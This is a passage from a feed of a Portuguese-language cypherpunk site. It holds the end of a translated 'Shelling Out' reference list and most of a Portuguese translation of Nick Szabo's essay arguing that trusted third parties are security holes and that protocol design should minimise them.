&lt;li>
&lt;p>[Gr01] Graeber, David, &lt;em>Towards an Anthropological Theory of Value&lt;/em>, Palgrave 2001.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>[I98] Ifrah, Georges, &lt;em>The Universal History of Numbers&lt;/em>, John Wiley &amp;amp; Sons 1998, pg. 73.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>[K99] Kohn, M. and Mithen, S. &amp;ldquo;Handaxes: Products of sexual selection?&amp;rdquo;, Antiquity, 73, 518-526.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>[K99] Kohn, M. and Mithen, S. &amp;ldquo;Handaxes: Products of sexual selection?&amp;rdquo;, Antiquity, 73, 518-526.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>[L94] Landa, Janet, &lt;em>Trust, Ethnicity, and Identity: Beyond the New Institutional Economics of Ethnic Trading Networks, Contract Law, and Gift-Exchange&lt;/em>, The University of Michigan Press, second edition, 1998. &lt;a href="#refL94-1">↩&lt;/a>
 &lt;a href="#refL94-2">↩&lt;/a>
 &lt;a href="#refL94-3">↩&lt;/a>
&lt;/p>
&lt;/li>
&lt;li>
&lt;p>[M1892] Menger, Carl, &amp;ldquo;On the Origins of Money&amp;rdquo; Economic Journal, volume 2,(1892) p. 239-55. translated by C.A. Foley, at &lt;a href="http://www.socsci.mcmaster.ca/" target="_blank" rel="noopener noreferrer">http://www.socsci.mcmaster.ca/&lt;/a>
~econ/ugcm/3ll3/menger/money.txt &lt;a href="#refM1892">↩&lt;/a>
&lt;/p>
&lt;/li>
&lt;li>
&lt;p>[M50] Mauss, Marcel, &lt;em>The Gift&lt;/em>, 1950, English translation by W.D. Halls, W.W. Norton 1990. &lt;a href="#refM50">↩&lt;/a>
&lt;/p>
&lt;/li>
&lt;li>
&lt;p>[M93] (Morse 1993) via &lt;a href="http://www.wac.uct.ac.za/wac4/symposia/papers/s095wht1.pdf" target="_blank" rel="noopener noreferrer">http://www.wac.uct.ac.za/wac4/symposia/papers/s095wht1.pdf&lt;/a>
 &lt;a href="#refM93">↩&lt;/a>
&lt;/p>
&lt;/li>
&lt;li>
&lt;p>[R96] Riddley, Matt, &lt;em>The Origins of Virtue&lt;/em>, Viking 1996.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>[T01] Taylor, Alan, &lt;em>American Colonies – The Settling of North America&lt;/em>, Penguin 2001. &lt;a href="#refT01-1">↩&lt;/a>
 &lt;a href="#refT01-2">↩&lt;/a>
&lt;/p>
&lt;/li>
&lt;li>
&lt;p>[P89] Plattner, Stuart, &lt;em>Economic Anthropology&lt;/em>, Stanford University Press 1989.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>[W77] Wiessner, P. 1977. Hxaro: a regional system at reciprocity for reducing risk among the !Kung San. Unpublished PhD thesis: University of Michigan. &lt;a href="#refW77">↩&lt;/a>
&lt;/p>
&lt;/li>
&lt;li>
&lt;p>[W82] Wiessner, P. 1982. Risk, reciprocity and social influences on !Kung San economies. In: Leacock, H. R. &amp;amp; Lee, R.B. (eds) &lt;em>Politics and history in band societies&lt;/em>: 61-84. London: Cambridge University Press.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>[W95] White, Randall, &amp;ldquo;Ivory Personal Ornaments of Aurignacian Age: Technological, Social and Symbolic Perspectives&amp;rdquo;, Institute For Ice Age Studies, &lt;a href="http://www.insticeagestudies.com/library/Ivory/Ivorypersonal.html" target="_blank" rel="noopener noreferrer">http://www.insticeagestudies.com/library/Ivory/Ivorypersonal.html&lt;/a>
 &lt;a href="#refW95">↩&lt;/a>
&lt;/p>
&lt;/li>
&lt;li>
&lt;p>[W97] White, Randall, &amp;ldquo;From Materials To Meaning&amp;rdquo;, Institute For Ice Age Studies, &lt;a href="http://www.insticeagestudies.com/library/materialstomeaning/index.html" target="_blank" rel="noopener noreferrer">http://www.insticeagestudies.com/library/materialstomeaning/index.html&lt;/a>
 &lt;a href="#refW97">↩&lt;/a>
&lt;/p>
&lt;/li>
&lt;li>
&lt;p>[W98] Winterhalder, Bruce, &amp;ldquo;Intra-Group Resource Transfers: Comparative Evidence, Models, and Implications for Human Evolution&amp;rdquo;, &lt;a href="http://www.unc.edu/depts/ecology/winterweb/intra" target="_blank" rel="noopener noreferrer">http://www.unc.edu/depts/ecology/winterweb/intra&lt;/a>
_group.html &lt;a href="#refW98">↩&lt;/a>
&lt;/p>
&lt;/li>
&lt;li>
&lt;p>[W02] Wilford, John, &amp;ldquo;Debate is Fueled on When Humans Became Human&amp;rdquo;, New York Times, February 26th, 2002  &lt;a href="#refW02">↩&lt;/a>
&lt;/p>
&lt;/li>
&lt;/ol>
&lt;h2 id="agradecimentos">Agradecimentos&lt;/h2>
&lt;p>Meus agradecimentos a Jerome Barkow, Andrew Odlyzko, Bruce Smith, K. Eric Drexler, Markus Krummenacker, Mark Wiley, Norm Hardy, e outros por seus comentários cheios de insight.&lt;/p>
&lt;hr>
&lt;p>Por favor, envie seus comentários para nszabo (at) law (dot) gwu (dot) edu&lt;/p>
&lt;p>Copyright © 2002, 2005 by Nick Szabo
Permissão para redistribuir sem alteração por este concedida&lt;/p>
&lt;hr>
&lt;p>&lt;em>Nota do editor: Alguns links podem estar quebrados.&lt;/em>&lt;/p>
&lt;hr>
&lt;p>Fonte: &lt;a href="https://www.fon.hum.uva.nl/rob/Courses/InformationInSpeech/CDROM/Literature/LOTwinterschool2006/szabo.best.vwh.net/shell.html" target="_blank" rel="noopener noreferrer">Shelling Out: The Origins of Money - Nick Szabo&lt;/a>
&lt;/p></content:encoded></item><item><title>Terceiros confiáveis</title><link>https://cypherpunks.com.br/documentos/terceiros-confiaveis/</link><pubDate>Mon, 01 Jan 2001 00:00:00 +0000</pubDate><guid>https://cypherpunks.com.br/documentos/terceiros-confiaveis/</guid><description>A segurança comercial é uma questão de resolver os problemas práticos de relações comerciais, como privacidade, integridade, proteção de propriedade ou detecção de quebra de contrato. Uma brecha de segurança é qualquer fraqueza que aumenta o risco de violar esses objetivos.</description><content:encoded>&lt;pre tabindex="0">&lt;code>Traduzido por: henur(github)
Revisado por: Cypherpunks Brasil
&lt;/code>&lt;/pre>&lt;p>&lt;a href="https://cypherpunks.com.br/about/#contribuidores">&lt;code>ver lista de contribuidores&lt;/code>&lt;/a>
&lt;/p>
&lt;p>&lt;!-- raw HTML omitted -->Nick Szabo&lt;!-- raw HTML omitted -->&lt;/p>
&lt;h4 id="originalmente-publicado-em-2001">Originalmente publicado em 2001&lt;/h4>
&lt;h2 id="introdução">Introdução&lt;/h2>
&lt;p>&lt;/p>
&lt;p>A segurança comercial é uma questão de resolver os problemas práticos de relações comerciais, como privacidade, integridade, proteção de propriedade ou detecção de quebra de contrato. Uma brecha de segurança é qualquer fraqueza que aumenta o risco de violar esses objetivos. Nesta visão de mundo real da segurança, um problema não desaparece porque um designer supõe que não tenha. A invocação ou suposição em um projeto de protocolo de segurança de um “terceiro confiável” (TTP) ou uma “base computacional confiável” (TCB) controlada por um terceiro constitui a introdução de uma falha de segurança nesse desenho. A falha de segurança precisará então ser conectada por outros meios.&lt;/p>
&lt;p>Se os riscos e custos das alternativas institucionais de TTP não forem contabilizados no desenho do protocolo, o protocolo resultante será, na maioria dos casos, muito caro ou arriscado para ser prático. Se o protocolo superar essas probabilidades e se mostrar prático, ele só será bem-sucedido depois que um grande esforço for feito para tapar a(s) brecha(s) de segurança do TTP. As suposições do TTP causam a maior parte dos custos e riscos em um protocolo de segurança, e a obstrução dos furos de segurança do TTP produz o máximo benefício e lucro.&lt;/p>
&lt;p>Como resultado, propomos uma metodologia de design de protocolo de segurança na qual a(s) parte(s) mais arriscada(s) e mais cara (s) de um protocolo de segurança sejam projetadas em paralelo com protocolo(s) de segurança usando essas partes. Os objetivos de minimização de custos e riscos são focados nos TTPs e não nos próprios protocolos de segurança, que devem ser projetados para atender às TTPs de custo e risco minimizadas.&lt;/p>
&lt;p>Também discutimos e fazemos uma breve referência à pesquisa e implementação em mecanismos de segurança que reduzem radicalmente os custos e riscos de terceiros ao distribuir TTPs automatizados entre várias partes, sendo que apenas uma parte deles precisa agir de maneira confiável ou honesta para que o protocolo seja confiável ou honesto.&lt;/p>
&lt;h2 id="novos-terceiros-confiáveis-são-caros-e-arriscados">Novos terceiros confiáveis são caros e arriscados&lt;/h2>
&lt;p>Este autor tem experiência profissional implementando um TTP que foi assumido pelos primeiros defensores da criptografia de chave pública. Esse TTP passou a ser chamado de &amp;ldquo;autoridade de certificação&amp;rdquo; (CA). Foi-lhe dada a responsabilidade de atestar a &amp;ldquo;identidade&amp;rdquo; dos participantes. (Aqui me concentro nos custos impostos pelo TTP; alternativas como Web of Trust e SPKI do PGP foram discutidas amplamente em outros lugares).&lt;/p>
&lt;p>A autoridade de certificação provou ser, de longe, o componente mais caro dessa infraestrutura de chave pública centralizada (PKI). Isto é exacerbado quando a necessidade de um TTP considerado por projetistas de protocolo é traduzido, em padrões de PKI como SSL e S/MIME, em um &lt;em>requisito&lt;/em> para um TTP. Um TTP que deve ser confiado por todos os usuários de um protocolo torna-se um árbitro de quem pode e não pode usar o protocolo. Assim, por exemplo, para executar um servidor Web SSL seguro ou para participar do S/MIME, é necessário obter um certificado de uma autoridade de certificação confiável mutuamente. O mais antigo e mais popular deles foi a Verisign. Ele foi capaz de cobrar várias centenas de dólares por certificados de usuário final – superando em muito os poucos dólares cobrados (implicitamente no custo do software do usuário final) pelo próprio código de protocolo de segurança. O processo burocrático de solicitar e renovar certificados consome muito mais tempo do que configurar as opções SSL, e o processo de identificação da CA está sujeito a uma exposição muito maior do que o próprio protocolo SSL. A Verisign acumulou uma avaliação do mercado de ações na casa dos 10 &lt;em>bilhões&lt;/em> de dólares americanos (mesmo antes de entrar em outro negócio da TTP, o Sistema de Nomes de Domínio na Internet (DNS), adquirindo a Network Solutions). Como? Ao apresentar uma solução – &lt;em>qualquer&lt;/em> solução, quase, como sua segurança é bastante grosseira e dispendiosa em comparação com os componentes criptográficos de uma PKI – à suposição aparentemente inócua de uma &amp;ldquo;terceira parte confiável&amp;rdquo; feita pelos projetistas de protocolos de chave pública para e-mail e Web.&lt;/p>
&lt;p>Mais alguns problemas com CAs são tratados &lt;a href="http://iang.org/ssl/pki_considered_harmful.html" target="_blank" rel="noopener noreferrer">aqui&lt;/a>
.&lt;/p>
&lt;p>O DNS da Internet é outro exemplo dos altos custos e riscos impostos por um TTP. Esta pequena parte da pilha do protocolo TCP/IP foi responsável pela maioria das disputas e longos debates envolvendo esse protocolo. Por quê? Porque é uma das poucas áreas da pilha TCP/IP que depende de uma hierarquia centralizada de TTPs em vez de negociações de protocolo entre nós individuais da Internet. O DNS também é o único componente da Internet que provavelmente falhará mesmo quando seus nomes não estiverem sendo contestados ou falsificados.&lt;/p>
&lt;p>Os altos custos de implementação de um TTP ocorrem principalmente porque as soluções tradicionais de segurança, que devem ser invocadas quando o próprio protocolo deixa de existir, envolvem altos custos de pessoal. Para obter mais informações sobre os benefícios de necessidade e segurança dessas soluções de segurança tradicionais, especialmente controles de pessoal, ao implementar organizações de TTP, consulte o ensaio deste autor em &lt;a href="http://www.fon.hum.uva.nl/rob/Courses/InformationInSpeech/CDROM/Literature/LOTwinterschool2006/szabo.best.vwh.net/groupcontrols.html" target="_blank" rel="noopener noreferrer">controles de grupo&lt;/a>
. Os riscos e custos assumidos pelos usuários do protocolo também passam a ser dominados pela falta de confiabilidade do TTP – o DNS e as autoridades de certificação são duas fontes bastante comuns de falta de confiabilidade e frustração com a Internet e PKIs, respectivamente.&lt;/p>
&lt;h2 id="terceiros-confiáveis-existentes-são-valiosos">Terceiros confiáveis existentes são valiosos&lt;/h2>
&lt;p>Empresas como Visa, Dun e Bradstreet, Underwriter&amp;rsquo;s Laboratories, entre outras, conectam estranhos desconfiados em uma rede de confiança comum. Nossa economia depende deles. Muitos países em desenvolvimento não têm esses &lt;a href="http://www.erights.org/talks/pisa/paper/index.html" target="_blank" rel="noopener noreferrer">centros de confiança&lt;/a>
e se beneficiariam muito da integração com os centros mundiais desenvolvidos como esses. Enquanto essas organizações muitas vezes têm muitos defeitos e fraquezas, – empresas de cartão de crédito, por exemplo, têm problemas crescentes com fraudes, roubo de identidade e relatórios imprecisos, e os Barings recentemente foram à falência porque seus sistemas de controle não se adaptaram adequadamente à negociação de títulos digitais – de modo geral, essas instituições estarão conosco por um longo tempo.&lt;/p>
&lt;p>Isso não nos ajuda a obter TTPs para novos protocolos. Essas instituições têm um modo particular de fazer negócios altamente evoluídos e especializados. Eles geralmente não podem &amp;ldquo;subir&amp;rdquo; a uma maneira substancialmente diferente de fazer negócios. Inovações substanciais em novas áreas, por ex. e-commerce e segurança digital, deve vir de outro lugar. Qualquer projeto de novo protocolo, especialmente áreas paradigmaticamente diferentes, como capacidades ou cálculos criptográficos, será um descompasso entre as instituições existentes. Como a construção de novos TTPs a partir do zero é tão cara, é muito mais barato introduzir protocolos dessas tecnologias de segurança institucionalmente inovadoras para minimizar suas dependências em TTPs.&lt;/p>
&lt;h2 id="novos-terceiros-confiáveis-podem-ser-tentadores">Novos terceiros confiáveis podem ser tentadores&lt;/h2>
&lt;p>Muitas são as razões pelas quais as organizações podem vir a favorecer a segurança dispendiosa baseada em TTP sobre uma segurança mais eficiente e eficaz que minimize o uso de TTPs:&lt;/p>
&lt;p>&lt;strong>Limitações de imaginação, esforço, conhecimento ou tempo entre os projetistas de protocolos&lt;/strong> – é muito mais fácil projetar protocolos de segurança que dependem de TTPs do que aqueles que não o fazem (ou seja, para evitar o problema em vez de resolvê-lo). Os custos de projeto natural são um fator importante que limita o progresso no sentido de minimizar os TTPs nos protocolos de segurança. Um fator maior é a falta de consciência da importância do problema entre muitos arquitetos de segurança, especialmente os arquitetos corporativos que elaboram padrões de segurança para Internet e sem fio.&lt;/p>
&lt;p>&lt;strong>A tentação de reivindicar o &amp;ldquo;terreno alto&amp;rdquo; como opção de compra é grande.&lt;/strong> A ambição de se tornar a próxima Visa ou Verisign é uma viagem de poder difícil de recusar. As barreiras para realmente construir um negócio bem sucedido de TTP são, no entanto, muitas vezes severas – os custos iniciais são substanciais, os custos contínuos permanecem altos, os riscos de responsabilidade são grandes e, a menos que haja uma vantagem substancial de &amp;ldquo;pioneirismo&amp;rdquo;, as barreiras à entrada de concorrentes são poucas. Ainda assim, se ninguém resolver os problemas de TTP no protocolo, isso pode ser um negócio lucrativo, e é fácil invejar grandes vencedores como a Verisign, em vez de lembrar de todas as empresas agora obscuras que tentaram, mas perderam. Também é fácil imaginar-se como o TTP bem-sucedido e defender o protocolo de segurança que exige o TTP, em vez de tentar de fato resolver o problema de segurança.&lt;/p>
&lt;p>&lt;img class="img-fluid" alt="miracle" src="" loading="lazy"
/>
&lt;/p>
&lt;p>&lt;strong>Interesses arraigados.&lt;/strong> Grandes números de profissionais articulados ganham a vida usando as habilidades necessárias em organizações de TTP. Por exemplo, as legiões de auditores e advogados que criam e operam estruturas tradicionais de controle e proteções legais. Eles naturalmente favorecem os modelos de segurança que assumem que devem intervir e implementar a segurança real. Em novas áreas, como o comércio eletrônico, elas favorecem novos modelos de negócios baseados em TTPs (por exemplo, provedores de serviços de aplicativos), em vez de dedicarem tempo para aprender novas práticas que possam ameaçar suas antigas habilidades.&lt;/p>
&lt;p>&lt;strong>Custos de transação mental.&lt;/strong> Confiança, como &lt;a href="http://www.fon.hum.uva.nl/rob/Courses/InformationInSpeech/CDROM/Literature/LOTwinterschool2006/szabo.best.vwh.net/micropayments.html" target="_blank" rel="noopener noreferrer">sabor&lt;/a>
, é um &lt;a href="http://www.eros-os.org/pipermail/e-lang/2004-Fevereiro/009555.html" target="_blank" rel="noopener noreferrer">julgamento subjetivo&lt;/a>
. Fazer tal julgamento requer esforço mental. Um terceiro com boa reputação, e que é realmente confiável, pode evitar que seus clientes tenham que fazer muita pesquisa ou arcar com outros custos associados a essas avaliações. No entanto, entidades que afirmam ser confiáveis, mas acabam não sendo confiáveis, impõem custos não apenas de natureza direta, quando violam a confiança, mas aumentam o custo geral de tentar escolher entre dignos de confiança e terceiros confiáveis traiçoeiros.&lt;/p>
&lt;h2 id="propriedade-pessoal-não-tem-e-não-deve-depender-de-ttps">Propriedade pessoal não tem e não deve depender de TTPs&lt;/h2>
&lt;p>Durante a maior parte da história humana, a forma dominante de propriedade foi propriedade pessoal. A funcionalidade da propriedade pessoal nunca dependeu de terceiros confiáveis em condições normais. As propriedades de segurança de bens simples poderiam ser verificadas na venda ou no primeiro uso, e não havia necessidade de interação contínua com o fabricante ou outros terceiros (exceto ocasionalmente reparos pessoais após uso excepcional e de forma voluntária e temporária). Os direitos de propriedade para muitos tipos de bens móveis (propriedade portátil) eram apenas minimamente dependentes de terceiros – o único problema em que os TTPs eram necessários era defender-se contra as depredações de outros terceiros. A principal propriedade de segurança dos bens móveis não costumava ser outros TTPs como protetores, mas sim sua portabilidade e intimidade.&lt;/p>
&lt;p>Aqui estão alguns exemplos da onipresença da propriedade pessoal em que havia uma realidade ou pelo menos um forte desejo por parte dos proprietários de estar livre da dependência de TTPs para funcionalidade ou segurança:&lt;/p>
&lt;ul>
&lt;li>Jóias (muito mais frequentemente usadas para dinheiro em culturas tradicionais do que moedas, por exemplo, Europa do Norte até 1000 dC, e usadas no corpo para melhor proteção da propriedade, bem como decoração)&lt;/li>
&lt;li>Automóveis operados por e portas de casas abertas por chaves pessoais.&lt;/li>
&lt;li>Computadores pessoais – nas visões originais de muitos pioneiros da computação pessoal (por exemplo, muitos membros do Homebrew Computer Club), o PC foi concebido como propriedade pessoal &amp;amp; ndash; o proprietário teria controle total (e compreensão) do software em execução no PC, incluindo a capacidade de copiar bits no PC à vontade. A complexidade do software, a conectividade com a Internet e as incompatibilidades de incentivos não resolvidas entre editores de software e usuários (proprietários de PCs) corroeram substancialmente a realidade do computador pessoal como propriedade pessoal.&lt;/li>
&lt;/ul>
&lt;p>Esse desejo é instintivo e permanece até hoje. Ele se manifesta na resistência do consumidor quando eles descobrem dependência inesperada e vulnerabilidade a terceiros nos dispositivos que usam. Sugere que a funcionalidade dos bens pessoais seja dependente de terceiros, mesmo que sejam acordados sob condições estritas, como credores, até que um empréstimo de bens móveis seja pago (a &lt;a href="http://www.fon.hum.uva.nl/rob/Courses/InformationInSpeech/CDROM/Literature/LOTwinterschool2006/szabo.best.vwh.net/smart_contracts_idea.html" target="_blank" rel="noopener noreferrer">garantia inteligente&lt;/a>
) são recebidos com forte resistência. Tornar a propriedade de propriedade pessoal dependente de terceiros &lt;em>confiáveis&lt;/em> (ou seja, confiável em vez de forçada pelo protocolo a manter o contrato que rege o protocolo de segurança e a propriedade) é, na maioria dos casos, inaceitável.&lt;/p>
&lt;h2 id="metodologia-minimizadora-de-ttp">Metodologia Minimizadora de TTP&lt;/h2>
&lt;p>Propomos agora uma metodologia de projeto de protocolo de segurança em que o(s0 protocolo(s) são projetados para minimizar esses custos e riscos dos TTPs. Minimizar os custos e riscos do(s) protocolo(s) de segurança em si é uma prioridade importante, mas secundária.&lt;/p>
&lt;p>Atualmente, os projetistas de segurança geralmente invocam ou assumem os TTPs para se adequar ao protocolo de segurança mais elegante e seguro, ou menos computacionalmente caro. Esses TTPs ingênuos são então usados em uma prova de conceito de uma arquitetura geral de protocolo. Mas isso não descobre as coisas importantes que precisam ser descobertas. Uma vez que um protocolo de segurança é implementado, o próprio código custa muito pouco, e as funções de custo exponencial, como a lei de Moore, continuam reduzindo a computação, a largura de banda e muitos outros custos tecnológicos. Os custos do protocolo de segurança em si (exceto os custos das rodadas de mensagens, limitados pela velocidade da luz e os custos da interface do usuário, limitados por &lt;a href="http://www.berlecon.de/services/en/iew2/papers/szabo.pdf" target="_blank" rel="noopener noreferrer">custos de transação mental&lt;/a>
) aproximam-se de zero. De longe, o maior custo a longo prazo do sistema (como aprendemos com a PKI) é o custo de implementação dos TTPs.&lt;/p>
&lt;p>É muito mais proveitoso estimar desde o início o que os TTPs custarão, em vez de tentar projetar os protocolos de segurança para minimizar os custos dos TTPs. Isso provavelmente levará o projetista a pressupostos de confiança bem diferentes e, portanto, a protocolos de segurança, do que se ele(a) assumir TTPs puros e não analisados em determinados locais, a fim de simplificar o protocolo de segurança. Um corolário natural é que se existe um protocolo de segurança que possa eliminar ou reduzir grandemente os custos de um TTP, então vale a pena implementá-lo em vez de um que pressupõe um TTP dispendioso. Mesmo se o último protocolo de segurança for mais simples e muito mais computacionalmente eficiente.&lt;/p>
&lt;p>Um corolário de &amp;ldquo;terceiros confiáveis são brechas de segurança&amp;rdquo; é &amp;ldquo;todos os protocolos de segurança têm brechas de segurança&amp;rdquo;, já que nenhum protocolo está totalmente livre de tais suposições. Os principais passos para estimar os custos e riscos da TTP são: (1) examinar completamente as suposições para descobrir todas as suposições da TTP e caracterizar especificamente o que cada TTP é ou não esperado, (2) observar que cada brecha e tarefa específicos tem um custo e risco associados.&lt;/p>
&lt;p>Existem várias outras considerações importantes, incluindo:&lt;/p>
&lt;ul>
&lt;li>Custos de design. Minimizar TTPs envolve frequentemente o aprendizado e a aplicação de técnicas não-intuitivas e complexas de criptografia e tolerância a falhas, como algumas das mencionadas abaixo. Isso pode ser um grande fardo ou impraticável para um projeto de pequenos contratos inteligentes. Por outro lado, os custos de projeto de uma nova instituição TTP são geralmente muito mais altos do que os custos de projeto de um novo protocolo, tão caro quanto este último. Determinar se a nova instituição é robusta a longo prazo é ainda mais cara, enquanto os protocolos podem ser formalmente analisados e as implementações auditadas contra essa análise para alcançar um nível muito alto de confiança em um período de tempo típico de desenvolvimento de produto.&lt;/li>
&lt;li>Custos de transação mental do usuário – a multiplicação de TTPs, mesmo aqueles com função razoavelmente limitada, pode rapidamente sobrecarregar a capacidade dos usuários finais de rastrear a reputação e a qualidade das diferentes marcas confiáveis. Quando os TTPs são distribuídos (como na tecnologia descrita abaixo), o rastreamento de reputação deve ser automatizado, o que é muito mais fácil quando os TTPs executam redundantemente a mesma função.&lt;/li>
&lt;/ul>
&lt;p>Se para um novo contexto como e-commerce podemos encontrar um protocolo de segurança que substitui uma organização TTP (um conjunto complexo de tradições pouco comprovadas no novo contexto) com matemática (que pelo menos em si mesma é bastante clara e demonstrável) muitas vezes será uma grande vitória fazê-lo. Mais frequentemente, substituiremos um TTP caro e complexo por um ou mais TTPs mais simples, além de matemática. Isso também é uma grande vitória. Só podemos dizer se e por quanto é uma vitória, concentrando-se nas suposições de confiança e nos custos resultantes das TTPs, em vez de focar na eficiência do protocolo de segurança. A chave é se concentrar no custo dos TTPs e projetar o protocolo de segurança para minimizá-los, em vez de assumir TTPs para simplificar ou otimizar a eficiência do protocolo de segurança.&lt;/p>
&lt;p>Um bom designer de protocolo de segurança digital não é apenas um especialista em ciência da computação e criptografia, mas também conhece muito bem as técnicas tradicionais e caras de segurança física, auditoria, lei e relações comerciais a serem protegidas. Esse conhecimento não é usado para substituir esses métodos de segurança dispendiosos por segurança digital mais econômica, mas para minimizar a dependência oculta de métodos onerosos para a segurança real. Um bom projetista de protocolos também projeta, em vez de simplesmente assumir, TTPs que trabalham com uso mínimo de técnicas caras.&lt;/p>
&lt;h2 id="protocolos-de-minimização-de-ttp">Protocolos de Minimização de TTP&lt;/h2>
&lt;p>Vimos acima que as chaves para minimizar os TTPs são identificá-los, caracterizá-los, estimar seus custos e riscos e, em seguida, projetar protocolos em torno de TTPs de custo e risco mínimos. Quando o risco é mitigado com técnicas como as desta sessão, ele pode ser substancialmente reduzido.&lt;/p>
&lt;p>Três áreas de pesquisa e implementação mostram uma promessa especial em melhorar a confiança. Duas delas envolvem a particularmente espinhosa área da privacidade, onde a quebra de confiança é muitas vezes irreversível – uma vez que os dados vazam, pode ser impossível voltar atrás.&lt;/p>
&lt;p>A primeira família de protocolo na qual a confiança pode ser distribuída para preservar a privacidade é a &lt;a href="http://www.onion-router.net/Publications.html" target="_blank" rel="noopener noreferrer">mix (mescla) de Chaum&lt;/a>
. As mixagens permitem que as comunicações sejam imunes ao rastreio de terceiros. Apenas qualquer um dos &lt;!-- raw HTML omitted -->N&lt;!-- raw HTML omitted --> proxies em uma cadeia de proxy precisa ser confiável para que a privacidade seja preservada. Infelizmente, todos os &lt;!-- raw HTML omitted -->N&lt;!-- raw HTML omitted --> dos proxies precisam ser confiáveis ou a mensagem será perdida e deve ser reenviada. O tradeoff do protocolo de mix digital é aumentar os atrasos no envio de mensagens (reenvios) para minimizar um irreversível risco de perda de privacidade.&lt;/p>
&lt;p>Outra família de protocolo na qual a confiança pode ser distribuída para preservar a privacidade são os &lt;a href="https://github.com/cypherpunksbr/cypherpunks.com.br/blob/master/posts/os-protocolos-de-deus.html" target="_blank" rel="noopener noreferrer">cálculos privados multipartidários&lt;/a>
. Aqui, um computador virtual é distribuído entre as &lt;!-- raw HTML omitted -->N&lt;!-- raw HTML omitted --> partes que fornecem entrada especialmente criptografada entre si e não para uma terceira parte confiável. O computador distribuído recebe entradas de cada uma das &lt;!-- raw HTML omitted -->N&lt;!-- raw HTML omitted --> partes, calcula um algoritmo acordado e produz a resposta. Cada parte aprende apenas a resposta e não as informações de qualquer outra parte. O limiar das partes que devem conspirar para violar a privacidade ou ameaçar a confiabilidade pode ser negociado e ter sido estudado em detalhes na ampla literatura sobre esse assunto. Cálculos privados multipartidários podem ser usados para auditoria confidencial, coleta de preferência confidencial e mineração de dados, leilões e trocas com lances confidenciais e assim por diante.&lt;/p>
&lt;p>Uma família de protocolos que replica dados e distribui operações nesses dados, preservando a integridade desses dados, são os &lt;a href="http://www.research.att.com/~dalia/" target="_blank" rel="noopener noreferrer">bancos de dados replicados resilientes bizantinos&lt;/a>
. Implementações de bancos de dados replicados resilientes bizantinos incluem &lt;a href="http://www.cs.huji.ac.il/~dalia/fleet/" target="_blank" rel="noopener noreferrer">Fleet&lt;/a>
e &lt;a href="http://www.belllabs.com/user/reiter/#Phalanx" target="_blank" rel="noopener noreferrer">Phalanx&lt;/a>
. Fleet implementa a persistência replicada de objetos de uso geral. Algumas implementações de código aberto, que abordam, mas não atingem a resiliência bizantina, a finalidade geral ou a descentralização completa incluem &lt;a href="http://www.mojonation.net/docs/technical_overview.shtml" target="_blank" rel="noopener noreferrer">Mojo Nation&lt;/a>
e &lt;a href="http://freenetproject.org/" target="_blank" rel="noopener noreferrer">Freenet&lt;/a>
. Os aplicativos incluem &lt;a href="http://nakamotoinstitute.org/secure-property-titles.html" target="_blank" rel="noopener noreferrer">registros de nomes seguros e títulos de propriedade&lt;/a>
, bem como conteúdo publicado com segurança no Mojo Nation e Freenet. O trabalho mais avançado nessa área envolve &lt;a href="http://www.fon.hum.uva.nl/rob/Courses/InformationInSpeech/CDROM/Literature/LOTwinterschool2006/szabo.best.vwh.net/coalition.html" target="_blank" rel="noopener noreferrer">Sistemas de quorum tolerantes a falhas bizantinos&lt;/a>
e outro &lt;a href="http://www.fon.hum.uva.nl/rob/Courses/InformationInSpeech/CDROM/Literature/LOTwinterschool2006/szabo.best.vwh.net/distributed.html" target="_blank" rel="noopener noreferrer">avanço recente em segurança distribuída&lt;/a>
.&lt;/p>
&lt;p>É importante observar que essas técnicas de limite servem apenas para melhorar a integridade de um &lt;em>único passo ou executar&lt;/em> o protocolo. Sistemas práticos, como o &lt;a href="http://www.mojonation.net/docs/technical_overview.shtml" target="_blank" rel="noopener noreferrer">Mojo Nation&lt;/a>
, combinam uma maioria ou super-maioria em uma corrida específica com &lt;em>detecção de falhas&lt;/em> e &lt;em>escolha&lt;/em> por clientes de servidores entre execuções. Assim, podemos adicionar de volta todos os sistemas de reputação, auditoria e assim por diante, que acrescentam robustez a longo prazo aos sistemas distribuídos. As maiorias ou super-maiorias dentro de uma invocação criam uma boa robustez de curto prazo que está faltando em sistemas atuais como Freenet e Mojo Nation. (É apenas uma festa em falta no Mojo, que tem um esquema de votação de 4-de-8, mas isso não tem mostrado ser bizantino resiliente até 4-de-8).&lt;/p>
&lt;h2 id="atestado-remoto-do-código-de-servidor">Atestado Remoto do Código de Servidor&lt;/h2>
&lt;p>Um atestado remoto foi proposto para verificar o estado do software em execução em &lt;a href="https://pt.wikipedia.org/wiki/Computa%C3%A7%C3%A3o_confi%C3%A1vel#Atestado_Remoto" target="_blank" rel="noopener noreferrer">clientes&lt;/a>
para proteger a propriedade intelectual. Um uso mais valioso para o atestado remoto é verificar o comportamento dos servidores. Isso também é chamado de abordagem &lt;a href="http://c2.com/cgi/wiki?TransparentServer" target="_blank" rel="noopener noreferrer">servidor transparente&lt;/a>
. Por meio de atestado remoto, os clientes podem verificar se o código específico desejado está sendo executado em um servidor. Combinado com a capacidade de auditar esse código como código aberto, o atestado remoto de servidores pode diminuir bastante a vulnerabilidade de clientes e usuários para o servidor. Dada a importância do problema de terceiros confiáveis que discutimos aqui, essa abordagem tem um grande potencial para converter protocolos de terceiros confiáveis em protocolos seguros e possibilitar uma ampla variedade de protocolos seguros que até então eram impossíveis. Por exemplo, Hal Finney implementou uma versão do &lt;a href="https://cypherpunks.com.br/bitgold/">bit gold&lt;/a>
chamado de &lt;a href="https://cypherpunks.com.br/rpow/">provas reutilizáveis de trabalho&lt;/a>
, baseadas em uma placa de coprocessador segura que permite aos usuários atestar remotamente o código em execução no cartão. Enquanto um ainda precisa confiar no fabricante do cartão, este fabricante é &lt;a href="http://www.fon.hum.uva.nl/rob/Courses/InformationInSpeech/CDROM/Literature/LOTwinterschool2006/szabo.best.vwh.net/separationofduties.html" target="_blank" rel="noopener noreferrer">separado&lt;/a>
da instalação do código do servidor e da operação do servidor no cartão.&lt;/p>
&lt;h2 id="deixando-pequenas-brechas-sem-solução">Deixando pequenas brechas sem solução&lt;/h2>
